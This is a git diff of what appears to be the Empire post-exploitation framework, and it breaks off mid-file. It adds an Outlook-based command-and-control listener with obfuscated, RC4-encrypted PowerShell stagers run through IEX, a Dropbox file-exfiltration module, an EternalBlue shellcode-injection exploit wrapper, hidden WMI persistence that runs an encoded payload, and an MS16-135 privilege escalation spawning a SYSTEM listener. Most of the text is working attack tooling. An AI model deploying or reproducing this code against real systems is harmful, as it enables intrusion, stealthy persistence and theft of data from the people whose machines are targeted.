helpers.randomize_capitalization("$iv=$data[0..3];$data=$data[4..$data.length];") + + # decode everything and kick it over to IEX to kick off execution + stager += helpers.randomize_capitalization("-join[Char[]](& $R $data ($IV+$K))|IEX") + + # base64 encode the stager and return it + if encode: + return helpers.powershell_launcher(stager) + else: + # otherwise return the case-randomized stager + return stager + else: + print helpers.color("[!] listeners/http_mapi generate_launcher(): invalid language specification: only 'powershell' is currently supported for this module.") + + else: + print helpers.color("[!] listeners/http_mapi generate_launcher(): invalid listener name specification!") + + + def generate_stager(self, listenerOptions, encode=False, encrypt=True, language="powershell"): + """ + Generate the stager code needed for communications with this listener. + """ + + #if not language: + # print helpers.color('[!] listeners/http_mapi generate_stager(): no language specified!') + # return None + + profile = listenerOptions['DefaultProfile']['Value'] + uris = [a.strip('/') for a in profile.split('|')[0].split(',')] + stagingKey = listenerOptions['StagingKey']['Value'] + host = listenerOptions['Host']['Value'] + folder = listenerOptions['Folder']['Value'] + + if language.lower() == 'powershell': + + # read in the stager base + f = open("%s/data/agent/stagers/http_mapi.ps1" % (self.mainMenu.installPath)) + stager = f.read() + f.close() + + # make sure the server ends with "/" + if not host.endswith("/"): + host += "/" + + # patch the server and key information + stager = stager.replace('REPLACE_STAGING_KEY', stagingKey) + stager = stager.replace('REPLACE_FOLDER', folder) + + randomizedStager = '' + + for line in stager.split("\n"): + line = line.strip() + # skip commented line + if not line.startswith("#"): + # randomize capitalization of lines without quoted strings + if "\"" not in line: + randomizedStager += helpers.randomize_capitalization(line) + else: + randomizedStager += line + + # base64 encode the stager and return it + if encode: + return helpers.enc_powershell(randomizedStager) + elif encrypt: + RC4IV = os.urandom(4) + return RC4IV + encryption.rc4(RC4IV+stagingKey, randomizedStager) + else: + # otherwise just return the case-randomized stager + return randomizedStager + else: + print helpers.color("[!] listeners/http generate_stager(): invalid language specification, only 'powershell' is currently supported for this module.") + + + def generate_agent(self, listenerOptions, language=None): + """ + Generate the full agent code needed for communications with this listener. + """ + + if not language: + print helpers.color('[!] listeners/http_mapi generate_agent(): no language specified!') + return None + + language = language.lower() + delay = listenerOptions['DefaultDelay']['Value'] + jitter = listenerOptions['DefaultJitter']['Value'] + profile = listenerOptions['DefaultProfile']['Value'] + lostLimit = listenerOptions['DefaultLostLimit']['Value'] + killDate = listenerOptions['KillDate']['Value'] + workingHours = listenerOptions['WorkingHours']['Value'] + folder = listenerOptions['Folder']['Value'] + b64DefaultResponse = base64.b64encode(self.default_response()) + + if language == 'powershell': + + f = open(self.mainMenu.installPath + "./data/agent/agent.ps1") + code = f.read() + f.close() + + # patch in the comms methods + commsCode = self.generate_comms(listenerOptions=listenerOptions, language=language) + commsCode = commsCode.replace('REPLACE_FOLDER',folder) + code = code.replace('REPLACE_COMMS', commsCode) + + # strip out comments and blank lines + code = helpers.strip_powershell_comments(code) + + # patch in the delay, jitter, lost limit, and comms profile + code = code.replace('$AgentDelay = 60', "$AgentDelay = " + str(delay)) + code = code.replace('$AgentJitter = 0', "$AgentJitter = " + str(jitter)) + code = code.replace('$Profile = "/admin/get.php,/news.php,/login/process.php|Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko"', "$Profile = \"" + str(profile) + "\"") + code = code.replace('$LostLimit = 60', "$LostLimit = " + str(lostLimit)) + code = code.replace('$DefaultResponse = ""', '$DefaultResponse = "'+str(b64DefaultResponse)+'"') + + # patch in the killDate and workingHours if they're specified + if killDate != "": + code = code.replace('$KillDate,', "$KillDate = '" + str(killDate) + "',") + if workingHours != "": + code = code.replace('$WorkingHours,', "$WorkingHours = '" + str(workingHours) + "',") + + return code + else: + print helpers.color("[!] listeners/http_mapi generate_agent(): invalid language specification, only 'powershell' is currently supported for this module.") + + + def generate_comms(self, listenerOptions, language=None): + """ + Generate just the agent communication code block needed for communications with this listener. + + This is so agents can easily be dynamically updated for the new listener. + """ + + if language: + if language.lower() == 'powershell': + + updateServers = """ + $Script:ControlServers = @("%s"); + $Script:ServerIndex = 0; + """ % (listenerOptions['Host']['Value']) + + getTask = """ + function script:Get-Task { + try { + # meta 'TASKING_REQUEST' : 4 + $RoutingPacket = New-RoutingPacket -EncData $Null -Meta 4; + $RoutingCookie = [Convert]::ToBase64String($RoutingPacket); + + # choose a random valid URI for checkin + $taskURI = $script:TaskURIs | Get-Random; + + $mail = $outlook.CreateItem(0); + $mail.Subject = "mailpireout"; + $mail.Body = "GET - "+$RoutingCookie+" - "+$taskURI; + $mail.save() | out-null; + $mail.Move($fld)| out-null; + + # keep checking to see if there is response + $break = $False; + [byte[]]$b = @(); + + While ($break -ne $True){ + foreach ($item in $fld.Items) { + if($item.Subject -eq "mailpirein"){ + $item.HTMLBody | out-null; + if($item.Body[$item.Body.Length-1] -ne '-'){ + $traw = $item.Body; + $item.Delete(); + $break = $True; + $b = [System.Convert]::FromBase64String($traw); + } + } + } + Start-Sleep -s 1; + } + return ,$b + + } + catch { + + } + while(($fldel.Items | measure | %{$_.Count}) -gt 0 ){ $fldel.Items | %{$_.delete()};} + } + """ + + sendMessage = """ + function script:Send-Message { + param($Packets) + + if($Packets) { + # build and encrypt the response packet + $EncBytes = Encrypt-Bytes $Packets; + # build the top level RC4 "routing packet" + # meta 'RESULT_POST' : 5 + $RoutingPacket = New-RoutingPacket -EncData $EncBytes -Meta 5; + + # $RoutingPacketp = [System.BitConverter]::ToString($RoutingPacket); + $RoutingPacketp = [Convert]::ToBase64String($RoutingPacket) + try { + # get a random posting URI + $taskURI = $Script:TaskURIs | Get-Random; + $mail = $outlook.CreateItem(0); + $mail.Subject = "mailpireout"; + $mail.Body = "POSTM - "+$taskURI +" - "+$RoutingPacketp; + $mail.save() | out-null; + $mail.Move($fld) | out-null; + } + catch { + } + while(($fldel.Items | measure | %{$_.Count}) -gt 0 ){ $fldel.Items | %{$_.delete()};} + } + } + """ + return updateServers + getTask + sendMessage + + else: + print helpers.color("[!] listeners/http_mapi generate_comms(): invalid language specification, only 'powershell' is currently supported for this module.") + else: + print helpers.color('[!] listeners/http_mapi generate_comms(): no language specified!') + + + def start_server(self, listenerOptions): + """ + Threaded function that actually starts up the Flask server. + """ + + # make a copy of the currently set listener options for later stager/agent generation + listenerOptions = copy.deepcopy(listenerOptions) + + # suppress the normal Flask output + log = logging.getLogger('werkzeug') + log.setLevel(logging.ERROR) + + bindIP = listenerOptions['BindIP']['Value'] + host = listenerOptions['Host']['Value'] + port = listenerOptions['Port']['Value'] + stagingKey = listenerOptions['StagingKey']['Value'] + + app = Flask(__name__) + self.app = app + + @app.before_request + def check_ip(): + """ + Before every request, check if the IP address is allowed. + """ + if not self.mainMenu.agents.is_ip_allowed(request.remote_addr): + dispatcher.send("[!] %s on the blacklist/not on the whitelist requested resource" % (request.remote_addr), sender="listeners/http") + return make_response(self.default_response(), 200) + + + @app.after_request + def change_header(response): + "Modify the default server version in the response." + response.headers['Server'] = listenerOptions['ServerVersion']['Value'] + return response + + + @app.route('/', methods=['GET']) + def handle_get(request_uri): + """ + Handle an agent GET request. + + This is used during the first step of the staging process, + and when the agent requests taskings. + """ + + clientIP = request.remote_addr + dispatcher.send("[*] GET request for %s/%s from %s" % (request.host, request_uri, clientIP), sender='listeners/http') + routingPacket = None + cookie = request.headers.get('Cookie') + if cookie and cookie != '': + try: + # see if we can extract the 'routing packet' from the specified cookie location + # NOTE: this can be easily moved to a paramter, another cookie value, etc. + if 'session' in cookie: + cookieParts = cookie.split(';') + for part in cookieParts: + if part.startswith('session'): + base64RoutingPacket = part[part.find('=')+1:] + # decode the routing packet base64 value in the cookie + routingPacket = base64.b64decode(base64RoutingPacket) + except Exception as e: + routingPacket = None + pass + + if routingPacket: + # parse the routing packet and process the results + dataResults = self.mainMenu.agents.handle_agent_data(stagingKey, routingPacket, listenerOptions, clientIP) + if dataResults and len(dataResults) > 0: + for (language, results) in dataResults: + if results: + if results == 'STAGE0': + # handle_agent_data() signals that the listener should return the stager.ps1 code + + # step 2 of negotiation -> return stager.ps1 (stage 1) + dispatcher.send("[*] Sending %s stager (stage 1) to %s" % (language, clientIP), sender='listeners/http') + stage = self.generate_stager(language=language, listenerOptions=listenerOptions) + return make_response(stage, 200) + + elif results.startswith('ERROR:'): + dispatcher.send("[!] Error from agents.handle_agent_data() for %s from %s: %s" % (request_uri, clientIP, results), sender='listeners/http') + + if 'not in cache' in results: + # signal the client to restage + print helpers.color("[*] Orphaned agent from %s, signaling retaging" % (clientIP)) + return make_response(self.default_response(), 401) + else: + return make_response(self.default_response(), 200) + + else: + # actual taskings + dispatcher.send("[*] Agent from %s retrieved taskings" % (clientIP), sender='listeners/http') + return make_response(results, 200) + else: + # dispatcher.send("[!] Results are None...", sender='listeners/http') + return make_response(self.default_response(), 200) + else: + return make_response(self.default_response(), 200) + + else: + dispatcher.send("[!] %s requested by %s with no routing packet." % (request_uri, clientIP), sender='listeners/http') + return make_response(self.default_response(), 200) + + + @app.route('/', methods=['POST']) + def handle_post(request_uri): + """ + Handle an agent POST request. + """ + + stagingKey = listenerOptions['StagingKey']['Value'] + clientIP = request.remote_addr + + # the routing packet should be at the front of the binary request.data + # NOTE: this can also go into a cookie/etc. + + dataResults = self.mainMenu.agents.handle_agent_data(stagingKey, request.get_data(), listenerOptions, clientIP) + #print dataResults + if dataResults and len(dataResults) > 0: + for (language, results) in dataResults: + if results: + if results.startswith('STAGE2'): + # TODO: document the exact results structure returned + sessionID = results.split(' ')[1].strip() + sessionKey = self.mainMenu.agents.agents[sessionID]['sessionKey'] + dispatcher.send("[*] Sending agent (stage 2) to %s at %s" % (sessionID, clientIP), sender='listeners/http') + + # step 6 of negotiation -> server sends patched agent.ps1/agent.py + agentCode = self.generate_agent(language=language, listenerOptions=listenerOptions) + encryptedAgent = encryption.aes_encrypt_then_hmac(sessionKey, agentCode) + # TODO: wrap ^ in a routing packet? + + return make_response(encryptedAgent, 200) + + elif results[:10].lower().startswith('error') or results[:10].lower().startswith('exception'): + dispatcher.send("[!] Error returned for results by %s : %s" %(clientIP, results), sender='listeners/http') + return make_response(self.default_response(), 200) + elif results == 'VALID': + dispatcher.send("[*] Valid results return by %s" % (clientIP), sender='listeners/http') + return make_response(self.default_response(), 200) + else: + return make_response(results, 200) + else: + return make_response(self.default_response(), 200) + else: + return make_response(self.default_response(), 200) + + try: + certPath = listenerOptions['CertPath']['Value'] + host = listenerOptions['Host']['Value'] + if certPath.strip() != '' and host.startswith('https'): + context = ("%s/data/empire.pem" % (self.mainMenu.installPath), "%s/data/empire.pem" % (self.mainMenu.installPath)) + app.run(host=bindIP, port=int(port), threaded=True, ssl_context=context) + else: + app.run(host=bindIP, port=int(port), threaded=True) + + except Exception as e: + print helpers.color("[!] Listener startup on port %s failed: %s " % (port, e)) + dispatcher.send("[!] Listener startup on port %s failed: %s " % (port, e), sender='listeners/http') + + + def start(self, name=''): + """ + Start a threaded instance of self.start_server() and store it in the + self.threads dictionary keyed by the listener name. + """ + listenerOptions = self.options + if name and name != '': + self.threads[name] = helpers.KThread(target=self.start_server, args=(listenerOptions,)) + self.threads[name].start() + time.sleep(1) + # returns True if the listener successfully started, false otherwise + return self.threads[name].is_alive() + else: + name = listenerOptions['Name']['Value'] + self.threads[name] = helpers.KThread(target=self.start_server, args=(listenerOptions,)) + self.threads[name].start() + time.sleep(1) + # returns True if the listener successfully started, false otherwise + return self.threads[name].is_alive() + + + def shutdown(self, name=''): + """ + Terminates the server thread stored in the self.threads dictionary, + keyed by the listener name. + """ + + if name and name != '': + print helpers.color("[!] Killing listener '%s'" % (name)) + self.threads[name].kill() + else: + print helpers.color("[!] Killing listener '%s'" % (self.options['Name']['Value'])) + self.threads[self.options['Name']['Value']].kill() diff --git a/lib/modules/powershell/exfiltration/exfil_dropbox.py b/lib/modules/powershell/exfiltration/exfil_dropbox.py new file mode 100644 index 0000000..a6b70b0 --- /dev/null +++ b/lib/modules/powershell/exfiltration/exfil_dropbox.py @@ -0,0 +1,141 @@ +from lib.common import helpers + + +class Module: + + def __init__(self, mainMenu, params=[]): + + # Metadata info about the module, not modified during runtime + self.info = { + # Name for the module that will appear in module menus + 'Name': 'Invoke-DropboxUpload', + + # List of one or more authors for the module + 'Author': ['kdick@tevora.com','Laurent Kempe'], + + # More verbose multi-line description of the module + 'Description': ('Upload a file to dropbox '), + + # True if the module needs to run in the background + 'Background': False, + + # File extension to save the file as + 'OutputExtension': None, + + # True if the module needs admin rights to run + 'NeedsAdmin': False, + + # True if the method doesn't touch disk/is reasonably opsec safe + 'OpsecSafe': True, + + # The language for this module + 'Language': 'powershell', + + # The minimum PowerShell version needed for the module to run + 'MinLanguageVersion': '2', + + # List of any references/other comments + 'Comments': [ + 'Uploads specified file to dropbox ', + 'Ported to powershell2 from script by Laurent Kempe: http://laurentkempe.com/2016/04/07/Upload-files-to-DropBox-from-PowerShell/', + 'Use forward slashes for the TargetFilePath' + ] + } + + # Any options needed by the module, settable during runtime + self.options = { + # Format: + # value_name : {description, required, default_value} + 'Agent': { + # The 'Agent' option is the only one that MUST be in a module + 'Description': 'Agent to use', + 'Required' : True, + 'Value' : '' + }, + 'SourceFilePath': { + 'Description': '/path/to/file', + 'Required' : True, + 'Value' : '' + }, + 'TargetFilePath': { + 'Description': '/path/to/dropbox/file', + 'Required': True, + 'Value': '' + }, + 'ApiKey': { + 'Description': 'Your dropbox api key', + 'Required': True, + 'Value': '' + } + } + + # Save off a copy of the mainMenu object to access external + # functionality like listeners/agent handlers/etc. + self.mainMenu = mainMenu + + # During instantiation, any settable option parameters are passed as + # an object set to the module and the options dictionary is + # automatically set. This is mostly in case options are passed on + # the command line. + if params: + for param in params: + # Parameter format is [Name, Value] + option, value = param + if option in self.options: + self.options[option]['Value'] = value + + def generate(self): + + script = """ +function Invoke-DropboxUpload { +Param( + [Parameter(Mandatory=$true)] + [string]$SourceFilePath, + [Parameter(Mandatory=$true)] + [string]$TargetFilePath, + [Parameter(mandatory=$true)] + [string]$ApiKey +) + +$url = "https://content.dropboxapi.com/2/files/upload" + +$file = [IO.File]::ReadAllBytes($SourceFilePath) +[net.httpWebRequest] $req = [net.webRequest]::create($url) + +$arg = '{ "path": "' + $TargetFilePath + '", "mode": "add", "autorename": true, "mute": false }' +$authorization = "Bearer " + $ApiKey + +$req.method = "POST" +$req.Headers.Add("Authorization", $authorization) +$req.Headers.Add("Dropbox-API-Arg", $arg) +$req.ContentType = 'application/octet-stream' +$req.ContentLength = $file.length +$req.TimeOut = 50000 +$req.KeepAlive = $true +$req.Headers.Add("Keep-Alive: 300"); +$reqst = $req.getRequestStream() +$reqst.write($file, 0, $file.length) +$reqst.flush() +$reqst.close() + +[net.httpWebResponse] $res = $req.getResponse() +$resst = $res.getResponseStream() +$sr = new-object IO.StreamReader($resst) +$result = $sr.ReadToEnd() +$result +$res.close() +} + +Invoke-DropboxUpload """ + + # Add any arguments to the end execution of the script + for option, values in self.options.iteritems(): + if option.lower() != "agent": + if values['Value'] and values['Value'] != '': + if values['Value'].lower() == "true": + # if we're just adding a switch + script += " -" + str(option) + else: + script += " -" + str(option) + " " + str(values['Value']) + + return script diff --git a/lib/modules/powershell/exploitation/exploit_eternalblue.py b/lib/modules/powershell/exploitation/exploit_eternalblue.py new file mode 100755 index 0000000..593b319 --- /dev/null +++ b/lib/modules/powershell/exploitation/exploit_eternalblue.py @@ -0,0 +1,108 @@ +import re +from lib.common import helpers +import pdb + + +class Module: + def __init__(self, mainMenu, params=[]): + + self.info = { + 'Name': 'Invoke-EternalBlue', + + 'Author': ['Sean Dillon ','Dylan Davis ' + 'Equation Group', 'kdick@tevora.com (e0x70i)'], + + 'Description': ("Port of MS17_010 Metasploit module to powershell. " + "Exploits targeted system and executes specified shellcode. " + "Windows 7 and 2008 R2 supported. " + "Potential for a BSOD "), + + 'Background': False, + + 'OutputExtension': None, + + 'NeedsAdmin': False, + + 'OpsecSafe': False, + + 'Language': 'powershell', + + 'MinLanguageVersion': '2', + + 'Comments': [ + 'https://github.com/RiskSense-Ops/MS17-010', + 'https://www.rapid7.com/db/modules/exploit/windows/smb/ms17_010_eternalblue', + 'http://threat.tevora.com/eternal-blues/' + ] + } + + # any options needed by the module, settable during runtime + self.options = { + # format: + # value_name : {description, required, default_value} + 'Agent': { + 'Description': 'Agent to run module on.', + 'Required': True, + 'Value': '' + }, + 'Target': { + 'Description': 'IP or Hostname of target ', + 'Required': True, + 'Value': '' + }, + 'MaxAttempts': { + 'Description': 'Number of times to try exploit (increment grooms by 5 each time)', + 'Required': True, + 'Value': '1' + }, + 'InitialGrooms': { + 'Description': 'Number of Initial Grooms', + 'Required': True, + 'Value': '12' + }, + 'Shellcode': { + 'Description': 'Custom shellcode to inject, 0xaa,0xab,... format.', + 'Required': True, + 'Value': '' + } + } + + # save off a copy of the mainMenu object to access external functionality + # like listeners/agent handlers/etc. + self.mainMenu = mainMenu + + for param in params: + # parameter format is [Name, Value] + option, value = param + if option in self.options: + self.options[option]['Value'] = value + + def generate(self): + + # read in the common module source code + moduleSource = self.mainMenu.installPath + "/data/module_source/exploitation/Exploit-EternalBlue.ps1" + + try: + f = open(moduleSource, 'r') + except: + print helpers.color("[!] Could not read module source path at: " + str(moduleSource)) + return "" + + moduleCode = f.read() + f.close() + + script = moduleCode + + script += "\nInvoke-EternalBlue " + + for option, values in self.options.iteritems(): + if values['Value'] and values['Value'] != '': + if option.lower() == "shellcode": + # transform the shellcode to the correct format + script += " -" + str(option) + " @(" + str(values['Value']) + ")" + else: + script += " -" + str(option) + " " + str(values['Value']) + + script += "; 'Exploit complete'" + + return script \ No newline at end of file diff --git a/lib/modules/powershell/persistence/elevated/wmi_updater.py b/lib/modules/powershell/persistence/elevated/wmi_updater.py new file mode 100644 index 0000000..5d38a34 --- /dev/null +++ b/lib/modules/powershell/persistence/elevated/wmi_updater.py @@ -0,0 +1,201 @@ +import os +from lib.common import helpers + +class Module: + + def __init__(self, mainMenu, params=[]): + + self.info = { + 'Name': 'Invoke-WMI', + + 'Author': ['@mattifestation', '@harmj0y', '@tristandostaler'], + + 'Description': ('Persist a stager (or script) using a permanent WMI subscription. This has a difficult detection/removal rating.'), + + 'Background' : False, + + 'OutputExtension' : None, + + 'NeedsAdmin' : True, + + 'OpsecSafe' : False, + + 'Language' : 'powershell', + + 'MinLanguageVersion' : '2', + + 'Comments': [ + 'https://github.com/mattifestation/PowerSploit/blob/master/Persistence/Persistence.psm1' + ] + } + + # any options needed by the module, settable during runtime + self.options = { + # format: + # value_name : {description, required, default_value} + 'Agent' : { + 'Description' : 'Agent to run module on.', + 'Required' : True, + 'Value' : '' + }, + 'Launcher' : { + 'Description' : 'Launcher string.', + 'Required' : True, + 'Value' : 'powershell -noP -sta -w 1 -enc ' + }, + #'Listener' : { + # 'Description' : 'Listener to use.', + # 'Required' : False, + # 'Value' : '' + #}, + 'DailyTime' : { + 'Description' : 'Daily time to trigger the script (HH:mm).', + 'Required' : False, + 'Value' : '' + }, + 'AtStartup' : { + 'Description' : 'Switch. Trigger script (within 5 minutes) of system startup.', + 'Required' : False, + 'Value' : 'True' + }, + 'SubName' : { + 'Description' : 'Name to use for the event subscription.', + 'Required' : True, + 'Value' : 'AutoUpdater' + }, + 'ExtFile' : { + 'Description' : 'Use an external file for the payload instead of a stager.', + 'Required' : False, + 'Value' : '' + }, + 'Cleanup' : { + 'Description' : 'Switch. Cleanup the trigger and any script from specified location.', + 'Required' : False, + 'Value' : '' + }, + 'WebFile' : { + 'Description' : 'The location of the launcher.bat file to fetch over the network/web', + 'Required' : True, + 'Value' : 'http://127.0.0.1/launcher.bat' + } + #'UserAgent' : { + # 'Description' : 'User-agent string to use for the staging request (default, none, or other).', + # 'Required' : False, + # 'Value' : 'default' + #}, + #'Proxy' : { + # 'Description' : 'Proxy to use for request (default, none, or other).', + # 'Required' : False, + # 'Value' : 'default' + #}, + #'ProxyCreds' : { + # 'Description' : 'Proxy credentials ([domain\]username:password) to use for request (default, none, or other).', + # 'Required' : False, + # 'Value' : 'default' + #} + } + + # save off a copy of the mainMenu object to access external functionality + # like listeners/agent handlers/etc. + self.mainMenu = mainMenu + + for param in params: + # parameter format is [Name, Value] + option, value = param + if option in self.options: + self.options[option]['Value'] = value + + + def generate(self): + + #listenerName = self.options['Listener']['Value'] + launcher_prefix = self.options['Launcher']['Value'] + + # trigger options + dailyTime = self.options['DailyTime']['Value'] + atStartup = self.options['AtStartup']['Value'] + subName = self.options['SubName']['Value'] + + # management options + extFile = self.options['ExtFile']['Value'] + cleanup = self.options['Cleanup']['Value'] + webFile = self.options['WebFile']['Value'] + # staging options + #userAgent = self.options['UserAgent']['Value'] + #proxy = self.options['Proxy']['Value'] + #proxyCreds = self.options['ProxyCreds']['Value'] + + statusMsg = "" + locationString = "" + + if cleanup.lower() == 'true': + # commands to remove the WMI filter and subscription + script = "Get-WmiObject __eventFilter -namespace root\subscription -filter \"name='"+subName+"'\"| Remove-WmiObject;" + script += "Get-WmiObject CommandLineEventConsumer -Namespace root\subscription -filter \"name='"+subName+"'\" | Remove-WmiObject;" + script += "Get-WmiObject __FilterToConsumerBinding -Namespace root\subscription | Where-Object { $_.filter -match '"+subName+"'} | Remove-WmiObject;" + script += "'WMI persistence removed.'" + + return script + + if extFile != '': + # read in an external file as the payload and build a + # base64 encoded version as encScript + if os.path.exists(extFile): + f = open(extFile, 'r') + fileData = f.read() + f.close() + + # unicode-base64 encode the script for -enc launching + encScript = helpers.enc_powershell(fileData) + statusMsg += "using external file " + extFile + + else: + print helpers.color("[!] File does not exist: " + extFile) + return "" + + else: + # generate the PowerShell one-liner with all of the proper options set + launcher = self.mainMenu.stagers.generate_launcher_fetcher(language='powershell', encode=True, webFile=webFile, launcher=launcher_prefix) + + encScript = launcher.split(" ")[-1] + statusMsg += "using launcher_fetcher" + + # sanity check to make sure we haven't exceeded the powershell -enc 8190 char max + if len(encScript) > 8190: + print helpers.color("[!] Warning: -enc command exceeds the maximum of 8190 characters.") + return "" + + # built the command that will be triggered + triggerCmd = "$($Env:SystemRoot)\\System32\\WindowsPowerShell\\v1.0\\powershell.exe -NonI -W hidden -enc " + encScript + + if dailyTime != '': + + parts = dailyTime.split(":") + + if len(parts) < 2: + print helpers.color("[!] Please use HH:mm format for DailyTime") + return "" + + hour = parts[0] + minutes = parts[1] + + # create the WMI event filter for a system time + script = "$Filter=Set-WmiInstance -Class __EventFilter -Namespace \"root\\subscription\" -Arguments @{name='"+subName+"';EventNameSpace='root\CimV2';QueryLanguage=\"WQL\";Query=\"SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_LocalTime' AND TargetInstance.Hour = "+hour+" AND TargetInstance.Minute= "+minutes+" GROUP WITHIN 60\"};" + statusMsg += " WMI subscription daily trigger at " + dailyTime + "." + + else: + # create the WMI event filter for OnStartup + script = "$Filter=Set-WmiInstance -Class __EventFilter -Namespace \"root\\subscription\" -Arguments @{name='"+subName+"';EventNameSpace='root\CimV2';QueryLanguage=\"WQL\";Query=\"SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 240 AND TargetInstance.SystemUpTime < 325\"};" + statusMsg += " with OnStartup WMI subsubscription trigger." + + + # add in the event consumer to launch the encrypted script contents + script += "$Consumer=Set-WmiInstance -Namespace \"root\\subscription\" -Class 'CommandLineEventConsumer' -Arguments @{ name='"+subName+"';CommandLineTemplate=\""+triggerCmd+"\";RunInteractively='false'};" + + # bind the filter and event consumer together + script += "Set-WmiInstance -Namespace \"root\subscription\" -Class __FilterToConsumerBinding -Arguments @{Filter=$Filter;Consumer=$Consumer} | Out-Null;" + + + script += "'WMI persistence established "+statusMsg+"'" + + return script diff --git a/lib/modules/powershell/privesc/ms16-135.py b/lib/modules/powershell/privesc/ms16-135.py new file mode 100644 index 0000000..b07a352 --- /dev/null +++ b/lib/modules/powershell/privesc/ms16-135.py @@ -0,0 +1,105 @@ +from lib.common import helpers + +class Module: + + def __init__(self, mainMenu, params=[]): + + self.info = { + 'Name': 'Invoke-MS16135', + + 'Author': ['@TinySecEx', '@FuzzySec', 'ThePirateWhoSmellsOfSunflowers (github)'], + + 'Description': ('Spawns a new Listener as SYSTEM by' + ' leveraging the MS16-135 local exploit. This exploit is for x64 only' + ' and only works on unlocked session.' + ' Note: the exploit performs fast windows switching, victim\'s desktop' + ' may flash. A named pipe is also created.' + ' Thus, opsec is not guaranteed'), + 'Background' : True, + + 'OutputExtension' : None, + + 'NeedsAdmin' : False, + + 'OpsecSafe' : False, + + 'Language' : 'powershell', + + 'MinLanguageVersion' : '2', + + 'Comments': [ + 'Credit to TinySec (@TinySecEx) for the initial PoC and', + 'to Ruben Boonen (@FuzzySec) for PowerShell PoC', + 'https://github.com/tinysec/public/tree/master/CVE-2016-7255', + 'https://github.com/FuzzySecurity/PSKernel-Primitives/tree/master/Sample-Exploits/MS16-135', + 'https://security.googleblog.com/2016/10/disclosing-vulnerabilities-to-protect.html' + ] + } + + self.options = { + 'Agent' : { + 'Description' : 'Agent to run module on.', + 'Required' : True, + 'Value' : '' + }, + 'Listener' : { + 'Description' : 'Listener to use.', + 'Required' : True, + 'Value' : '' + }, + 'UserAgent' : { + 'Description' : 'User-agent string to use for the staging request (default, none, or other).', + 'Required' : False, + 'Value' : 'default' + }, + 'Proxy' : { + 'Description' : 'Proxy to use for request (default, none, or other).', + 'Required' : False, + 'Value' : 'default' + }, + 'ProxyCreds' : { + 'Description' : 'Proxy credentials ([domain\]username:password) to use for request (default, none, or other).', + 'Required' : False, + 'Value' : 'default' + } + } + + self.mainMenu = mainMenu + + if params: + for param in params: + option, value = param + if option in self.options: + self.options[option]['Value'] = value + + + def generate(self): + + moduleSource = self.mainMenu.installPath + "/data/module_source/privesc/Invoke-MS16135.ps1" + try: + f = open(moduleSource, 'r') + except: + print helpers.color("[!] Could not read module source path at: " + str(moduleSource)) + return "" + + moduleCode = f.read() + f.close() + + script = moduleCode + + # generate the launcher code without base64 encoding + l = self.mainMenu.stagers.stagers['multi/launcher'] + l.options['Listener']['Value'] = self.options['Listener']['Value'] + l.options['UserAgent']['Value'] = self.options['UserAgent']['Value'] + l.options['Proxy']['Value'] = self.options['Proxy']['Value'] + l.options['ProxyCreds']['Value'] = self.options['ProxyCreds']['Value'] + l.options['Base64']['Value'] = 'False' + launcherCode = l.generate() + + # need to escape characters + launcherCode = launcherCode.replace("`", "``").replace("$", "`$").replace("\"","'") + + script += 'Invoke-MS16135 -Command "' + launcherCode + '"' + script += ';`nInvoke-MS16135 completed.' + + return script diff --git a/lib/modules/powershell/situational_awareness/network/bloodhound.py b/lib/modules/powershell/situational_awareness/network/bloodhound.py index 1c6b74f..d080099 100644 --- a/lib/modules/powershell/situational_awareness/network/bloodhound.py +++ b/lib/modules/powershell/situational_awareness/network/bloodhound.py @@ -37,6 +37,21 @@ class Module: 'Required' : True, 'Value' : '' }, + 'ComputerName' : { + 'Description' : 'Array of one or more computers to enumerate', + 'Required' : False, + 'Value' : '' + }, + 'ComputerADSpath' : { + 'Description' : 'The LDAP source to search through for computers, e.g. "LDAP://OU=secret,DC=testlab,DC=local"', + 'Required' : False, + 'Value' : '' + }, + 'UserADSPath' : { + 'Description' : 'The LDAP source to search through for users/groups, e.g. "LDAP://OU=secret,DC=testlab,DC=local"', + 'Required' : False, + 'Value' : '' + }, 'Domain' : { 'Description' : 'The domain to use for the query, defaults to the current domain.', 'Required' : False, @@ -48,7 +63,7 @@ class Module: 'Value' : '' }, 'CollectionMethod' : { - 'Description' : "The method to collect data. 'Group', 'LocalGroup', 'GPOLocalGroup', 'Sesssion', 'LoggedOn', 'Trusts, 'Stealth', or 'Default'.", + 'Description' : "The method to collect data. 'Group', 'ComputerOnly', 'LocalGroup', 'GPOLocalGroup', 'Session', 'LoggedOn', 'Trusts, 'Stealth', or 'Default'.", 'Required' : True, 'Value' : 'Default' }, @@ -60,22 +75,42 @@ class Module: 'CSVFolder' : { 'Description' : 'The CSV folder to use for output, defaults to the current folder location.', 'Required' : False, - 'Value' : '' + 'Value' : '$(Get-Location)' }, 'CSVPrefix' : { 'Description' : 'A prefix for all CSV files.', 'Required' : False, 'Value' : '' }, + 'URI' : { + 'Description' : 'The BloodHound neo4j URL location (http://host:port/)', + 'Required' : False, + 'Value' : '' + }, + 'UserPass' : { + 'Description' : 'The "user:password" for the BloodHound neo4j instance', + 'Required' : False, + 'Value' : '' + }, 'GlobalCatalog' : { 'Description' : 'The global catalog location to resolve user memberships from.', 'Required' : False, 'Value' : '' }, + 'SkipGCDeconfliction' : { + 'Description' : 'Switch. Skip global catalog enumeration for session deconfliction', + 'Required' : False, + 'Value' : '' + }, 'Threads' : { 'Description' : 'The maximum concurrent threads to execute.', 'Required' : True, 'Value' : '20' + }, + 'Throttle' : { + 'Description' : 'The number of cypher queries to queue up for neo4j RESTful API ingestion.', + 'Required' : True, + 'Value' : '1000' } } diff --git a/lib/modules/python/collection/osx/prompt.py b/lib/modules/python/collection/osx/prompt.py index 1e77854..f657f7e 100644 --- a/lib/modules/python/collection/osx/prompt.py +++ b/lib/modules/python/collection/osx/prompt.py @@ -58,6 +58,12 @@ class Module: 'Description' : 'Switch. List applications suitable for launching.', 'Required' : False, 'Value' : '' + }, + 'SandboxMode' : { + # The 'Agent' option is the only one that MUST be in a module + 'Description' : 'Switch. Launch a sandbox safe prompt', + 'Required' : False, + 'Value' : '' } } @@ -80,7 +86,7 @@ class Module: listApps = self.options['ListApps']['Value'] appName = self.options['AppName']['Value'] - + sandboxMode = self.options['SandboxMode']['Value'] if listApps != "": script = """ import os @@ -94,8 +100,16 @@ print '\\n'.join(choices) """ else: - # osascript prompt for the specific application - script = """ + if sandboxMode != "": 